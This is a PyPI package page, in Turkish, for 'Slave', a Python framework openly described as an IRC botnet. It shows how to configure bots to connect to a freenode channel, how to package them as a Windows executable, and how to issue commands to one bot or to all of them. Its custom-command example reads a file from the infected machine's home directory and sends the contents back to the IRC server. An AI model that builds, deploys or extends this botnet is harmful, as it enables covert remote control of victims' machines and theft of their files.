Skip to main content

IRC based customizable botnet framework

Project description

SLAVE

Slave, Python ile yazılmış özelleştirilebilir bot oluşturan bir yazılımdır. IRC protokolü üzerinden, yazılan botlar ile haberleşir.

Nasıl kullanılır

$ git clone https://github.com/bufgix/slave
$ cd slave

Slave, gerek executable dosya oluşturmada gerekse bağımlıklıları kurmada pipenv i kullanır. pipenv hakkında daha fazla bilgiye buradan ulaşabilirsiniz.

pipenv i kurup, bağımlılıkları yükleyip, virtual env'e geçtikten sonra bot.py dosyasını açın. İçeriği aşağıdaki gibidir.

# bot.py
from slave.lib.bots import BotBasic

config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotBasic.read_config_from_dict(config)

## Write custom commands here


BotBasic.start()

Buradan sonra eğer botunuza özel komutlar eklemiyecekseniz executable dosyasını oluşturabilirsiniz.

(venv) $ python -m slave bot.py
[i] Source: C:\Users\user\path\slave\bot.py
[i] Creating executable file...
[*] Created executable file. Check C:\Users\user\path\slave\dist

Oluşan dist/ dizinini altında bot.exe dosyası artık kullanıma hazır.

bot.exe yi çalıştırdıktan sonra 5-10 saniye içinde config de belirlediğiniz şekilde IRC'ye bağlanır.

Nasıl komut vereceksiniz

Slave botlarına emir vermek için $ ön eki getirilir.

$info bfr24s
$visit bfr24s https://google.com

gibi. Komuttan sonraki ilk parametre genelde vereceğiniz botun idsini alır. Eğer bütün botlara bu komutu vermek istiyorsanız bot_id yerine /all yazabilirsiniz.

$visit /all https://google.com

Standart komutlar ve kullanımları aşağıdaki gibidir

quit: Kill bot -- Usage: $quit [/all | <bot_id>]
info: Information of bot machine -- Usage: $info [/all | <bot_id>]
message: Message show with tkinter -- Usage: $message [/all | <bot_id>] <message> <msec>
visit: Open url with webbroser -- Usage: $visit [/all | <bot_id>] <url>
help: Help text of command -- Usage: $help <bot_id> <cmd>

Buradan sonra config de belirlediğiniz bos_name ile aynı olarak IRC server ve channel'e girin. Ardından botlarınıza emir vermeye başlayabilirsiniz.

Nasıl kendi komutlarımı yazarım ?

Slave, kendi özel botunuzu yazmanızı sağlar. Bunu yapmak için BotBasic sınıfının @register decelerator'unu kullanmanız gerekir.

Şimdi kendimiz bir komut yazalım. Yazacağımız komut argüman olarak verdiğimiz dosya ismini okuyup içindekileri servera göndersin. Komutun söz dizimi şöyle olsun.

$read [/all | <bot_id>] <file_name>

app.py dosyasını açalım. Komutları .start() komutundan önce yazmanız yeterli.

from slave.lib.bots import BotBasic

config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotBasic.read_config_from_dict(config)

## Write custom commands here
@BotBasic.register('read', all=True, on_connect=False, help_text="Read from file $read [/all | <bot_id>] <file_name>")
def read_file(bot, args):
    pass

BotBasic.start()

Görüldügü gibi register() ilk paramtere olarak komut dizisini alır. all= keywordu, <bot_id> yerine /all kullanmamızı ve bütün botlarda aynı anda komutumuzun çalıştırılmasını sağlar. on_connect= Bu, eğer True ise yazdığınız komut servera bağlandığı anda çalışır. help_text= ise komutumuzun imzasıdır. Burada komutun nasıl kullanılacağı hakkında bilgi verebilirsiniz.

Komut fonksyonu iki parametre almak zorundadır. Birinci parametre olarak Bot objesi alır. Bu server ile bot arasında iletişimi sağlar.

bot.send_text(text: str) -> None

Servera text mesajı göndermeyi sağlar.

bot.exit_server() -> None

Botun serverdan ayrılmasını sağlar

bot.send_command_help() -> None

Var olan komutları ve bilgilerini servera gönderir.

İkinci argüman olan args ise argüman listesini alır.

img

şimdi komutumuzu yazmaya devam edelim

from pathlib import Path

@BotBasic.register('read', all=True, on_connect=False, help_text="Read from file $read [/all | <bot_id>] <file_name>")
def read_file(bot, args):
    path = str(Path(f"~/{args[1]}").expanduser())
    with open(path, 'r') as f:
        bot.send_text(f.read())

şimdi test etmek için bot.py yi çalıştırabiliriz.

(venv) $ python bot.py

file.txt

Hey. Im a bot

img

Tabi dosyayı okumdadan önce var olup olmadığını kontrol etmek önemlidir. Eğer var olmayan bir dosyaya erişmeye çalışırsanız bot, serverla haberleşmeyi kesecektir.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

slave-irc-1.0.0.tar.gz (7.0 kB view hashes)

Uploaded Source

Built Distribution

slave_irc-1.0.0-py3-none-any.whl (8.4 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page